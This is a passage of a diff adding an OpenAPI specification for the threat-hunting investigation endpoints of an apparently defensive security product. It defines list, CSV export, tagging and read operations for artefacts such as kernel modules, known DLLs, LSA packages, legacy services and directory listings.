+    parameters: []
+  /data/investigation/hunting/ImageFileExecutionOptionAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ImageFileExecutionOptionAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/ImageFileExecutionOptionAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ImageFileExecutionOptionAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ImageFileExecutionOption'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/Interface/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Interface_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Interface'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Interface/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_Interface_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/Interface/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_Interface_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/Interface/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_Interface_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Interface'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/InterfaceAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_InterfaceAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/Interface'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/InterfaceAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_InterfaceAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/InterfaceAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_InterfaceAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/InterfaceAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_InterfaceAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Interface'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/KernelModule/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KernelModule_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/KernelModule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KernelModule/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_KernelModule_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KernelModule/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_KernelModule_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/KernelModule/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KernelModule_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KernelModule'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/KernelModuleAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_KernelModuleAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/KernelModule'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KernelModuleAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_KernelModuleAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KernelModuleAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_KernelModuleAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/KernelModuleAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KernelModuleAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KernelModule'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/KnownDLL/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KnownDLL_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/KnownDLL'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KnownDLL/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_KnownDLL_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KnownDLL/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_KnownDLL_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/KnownDLL/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KnownDLL_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KnownDLL'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/KnownDLLAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_KnownDLLAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/KnownDLL'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KnownDLLAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_KnownDLLAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/KnownDLLAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_KnownDLLAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/KnownDLLAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_KnownDLLAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KnownDLL'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/LSAPackage/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LSAPackage_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/LSAPackage'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LSAPackage/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_LSAPackage_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LSAPackage/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_LSAPackage_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/LSAPackage/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LSAPackage_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LSAPackage'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/LSAPackageAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_LSAPackageAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/LSAPackage'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LSAPackageAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_LSAPackageAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LSAPackageAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_LSAPackageAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/LSAPackageAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LSAPackageAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LSAPackage'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/LegacyService/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LegacyService_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/LegacyService'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LegacyService/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_LegacyService_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LegacyService/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_LegacyService_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/LegacyService/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LegacyService_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LegacyService'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/LegacyServiceAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_LegacyServiceAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/LegacyService'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LegacyServiceAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_LegacyServiceAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/LegacyServiceAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_LegacyServiceAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
+        - investigation
+  /data/investigation/hunting/LegacyServiceAggregate/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_LegacyServiceAggregate_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LegacyService'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ListDir/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ListDir_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListDir'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ListDir/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ListDir_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ListDir/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ListDir_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatus'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by ids.
+      tags:
+        - investigation
+  /data/investigation/hunting/ListDir/{id}/:
+    get:
+      description: ""
+      operationId: data_investigation_hunting_ListDir_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ListDir'
+      tags:
+        - investigation
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/investigation/hunting/ListDirAggregate/:
+    get:
+      description: |-
+        Reunion of all elements that are equal, on a given list of fields.
+        Each element will be assigned an additional field `count` corresponding to the number of elements with the same characteristics.
+      operationId: data_investigation_hunting_ListDirAggregate_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: agg_cols
+          required: true
+          type: array
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/ListDir'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      summary: Endpoint for aggregating the current search.
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ListDirAggregate/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_investigation_hunting_ListDirAggregate_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - investigation
+    parameters: []
+  /data/investigation/hunting/ListDirAggregate/tag/:
+    parameters: []
+    post:
+      description: |-
+        Changing the tag means changing the status of the investigation data.
+        You can choose between:
+        - 0 = Unclassified
+        - 1 = Unknow
+        - 2 = Clean
+        - 3 = Suspicious
+        - 4 = Malicious
+      operationId: data_investigation_hunting_ListDirAggregate_tag
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_InvestigationStatusStats'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      summary: Endpoint for tagging elements by the current search.
+      tags:
